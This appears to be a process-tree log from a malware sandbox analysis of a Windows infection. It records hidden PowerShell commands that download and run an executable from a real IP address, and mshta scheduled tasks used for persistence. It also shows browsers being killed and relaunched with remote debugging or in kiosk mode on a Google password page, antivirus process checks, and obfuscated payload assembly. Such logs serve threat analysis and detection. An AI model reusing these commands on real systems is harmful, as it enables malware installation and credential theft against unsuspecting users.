C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1412,i,9560398611858969094,705931183263099459,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2304 /prefetch:116⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2236,i,9560398611858969094,705931183263099459,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2228 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2128,i,9560398611858969094,705931183263099459,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2372 /prefetch:136⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3224,i,9560398611858969094,705931183263099459,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3296 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3232,i,9560398611858969094,705931183263099459,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3316 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4212,i,9560398611858969094,705931183263099459,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4244 /prefetch:96⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4456,i,9560398611858969094,705931183263099459,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4460 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5192,i,9560398611858969094,705931183263099459,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5200 /prefetch:146⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5288,i,9560398611858969094,705931183263099459,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5260 /prefetch:146⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"5⤵
- Uses browser remote debugging
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x2f4,0x7ffe3353f208,0x7ffe3353f214,0x7ffe3353f2206⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1780,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=1972 /prefetch:116⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1944,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2516,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=2532 /prefetch:136⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3488,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3480,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4092,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4128,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=4256 /prefetch:96⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=4180,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=4316 /prefetch:96⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=3440,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3708,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=3724 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5372,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5364,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:146⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5300,i,14756885832186726696,6389801193961811322,262144 --variations-seed-version --mojo-platform-channel-handle=5748 /prefetch:146⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\4w479" & exit5⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 116⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361680101\jokererer.exe"C:\Users\Admin\AppData\Local\Temp\10361680101\jokererer.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361700101\530a71ca97.exe"C:\Users\Admin\AppData\Local\Temp\10361700101\530a71ca97.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\10361710101\c98bb80630.exe"C:\Users\Admin\AppData\Local\Temp\10361710101\c98bb80630.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\10361720101\33ffbb57bc.exe"C:\Users\Admin\AppData\Local\Temp\10361720101\33ffbb57bc.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\10361730101\34512a5f6e.exe"C:\Users\Admin\AppData\Local\Temp\10361730101\34512a5f6e.exe"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefox.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM chrome.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msedge.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM opera.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM brave.exe /T4⤵
- Kills process with taskkill
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking5⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1976 -prefsLen 27097 -prefMapHandle 1980 -prefMapSize 270279 -ipcHandle 2056 -initialChannelId {14a48f43-a892-4ffd-888b-a4e7e1a9b4cc} -parentPid 12220 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12220" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2444 -prefsLen 27133 -prefMapHandle 2448 -prefMapSize 270279 -ipcHandle 2456 -initialChannelId {4cc189b2-a8be-4f2a-aa9d-755acf1f130e} -parentPid 12220 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12220" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3820 -prefsLen 25164 -prefMapHandle 3824 -prefMapSize 270279 -jsInitHandle 3828 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3836 -initialChannelId {485cdecc-c15c-45e5-b391-64bd5a003fa1} -parentPid 12220 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12220" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3980 -prefsLen 27274 -prefMapHandle 3984 -prefMapSize 270279 -ipcHandle 4068 -initialChannelId {2e501de1-d50f-4abe-b135-c3cb36b80c7f} -parentPid 12220 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12220" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4396 -prefsLen 34773 -prefMapHandle 2828 -prefMapSize 270279 -jsInitHandle 4408 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3048 -initialChannelId {df07eb9d-1a49-4cda-b64b-b3d289b3063f} -parentPid 12220 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12220" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4952 -prefsLen 35010 -prefMapHandle 4944 -prefMapSize 270279 -ipcHandle 4984 -initialChannelId {7349b91d-3dd2-4a75-9435-add8082e79c4} -parentPid 12220 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12220" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2916 -prefsLen 32952 -prefMapHandle 2920 -prefMapSize 270279 -jsInitHandle 5244 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5264 -initialChannelId {7e7105b5-c356-46b3-925a-81594ec665d8} -parentPid 12220 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12220" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5304 -prefsLen 32952 -prefMapHandle 5308 -prefMapSize 270279 -jsInitHandle 5312 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2920 -initialChannelId {f99d5d68-f0d7-4c80-96cb-99c780fdbd66} -parentPid 12220 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12220" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5280 -prefsLen 32952 -prefMapHandle 5404 -prefMapSize 270279 -jsInitHandle 5416 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5488 -initialChannelId {acd39e6e-75bb-4f1e-95f9-c391f776c5dd} -parentPid 12220 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12220" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361740101\4eb4b60516.exe"C:\Users\Admin\AppData\Local\Temp\10361740101\4eb4b60516.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\10361750101\jokererer.exe"C:\Users\Admin\AppData\Local\Temp\10361750101\jokererer.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361760101\UYpk7xI.exe"C:\Users\Admin\AppData\Local\Temp\10361760101\UYpk7xI.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"5⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe33eddcf8,0x7ffe33eddd04,0x7ffe33eddd106⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361770101\7IIl2eE.exe"C:\Users\Admin\AppData\Local\Temp\10361770101\7IIl2eE.exe"3⤵
-
C:\Windows\SysWOW64\CMD.exe"C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "opssvc wrsa"5⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 4183775⤵
-
-
C:\Windows\SysWOW64\extrac32.exeextrac32 /Y /E Leon.cab5⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "BEVERAGES" Compilation5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\418377\Passwords.comPasswords.com N5⤵
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 55⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361780101\TbV75ZR.exe"C:\Users\Admin\AppData\Local\Temp\10361780101\TbV75ZR.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 31244 -s 4765⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361790101\Rm3cVPI.exe"C:\Users\Admin\AppData\Local\Temp\10361790101\Rm3cVPI.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\10361800101\xZRvIQ5.exe"C:\Users\Admin\AppData\Local\Temp\10361800101\xZRvIQ5.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361810101\u75a1_003.exe"C:\Users\Admin\AppData\Local\Temp\10361810101\u75a1_003.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\10361820101\EPTwCQd.exe"C:\Users\Admin\AppData\Local\Temp\10361820101\EPTwCQd.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361830101\bot.exe"C:\Users\Admin\AppData\Local\Temp\10361830101\bot.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe4⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe5⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe6⤵
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE javapluginw.exe"7⤵
- Modifies registry key
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361840101\83e62028e7.exe"C:\Users\Admin\AppData\Local\Temp\10361840101\83e62028e7.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\10361840101\83e62028e7.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361850101\a5272784ca.exe"C:\Users\Admin\AppData\Local\Temp\10361850101\a5272784ca.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\10361850101\a5272784ca.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361860101\72e6c3114c.exe"C:\Users\Admin\AppData\Local\Temp\10361860101\72e6c3114c.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\10361870101\95019a06be.exe"C:\Users\Admin\AppData\Local\Temp\10361870101\95019a06be.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn yTGSkmaAaxF /tr "mshta C:\Users\Admin\AppData\Local\Temp\pzwRhWFlY.hta" /sc minute /mo 25 /ru "Admin" /f4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn yTGSkmaAaxF /tr "mshta C:\Users\Admin\AppData\Local\Temp\pzwRhWFlY.hta" /sc minute /mo 25 /ru "Admin" /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\pzwRhWFlY.hta4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'KPSMW7ZZK54YT7C0AALIS8EWHG8DD2QQ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\TempKPSMW7ZZK54YT7C0AALIS8EWHG8DD2QQ.EXE"C:\Users\Admin\AppData\Local\TempKPSMW7ZZK54YT7C0AALIS8EWHG8DD2QQ.EXE"6⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10361880121\am_no.cmd" "3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 24⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "qniDmmafEUB" /tr "mshta \"C:\Temp\FEuIk4v18.hta\"" /sc minute /mo 25 /ru "Admin" /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\mshta.exemshta "C:\Temp\FEuIk4v18.hta"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"6⤵
-
-
-
-
-
-
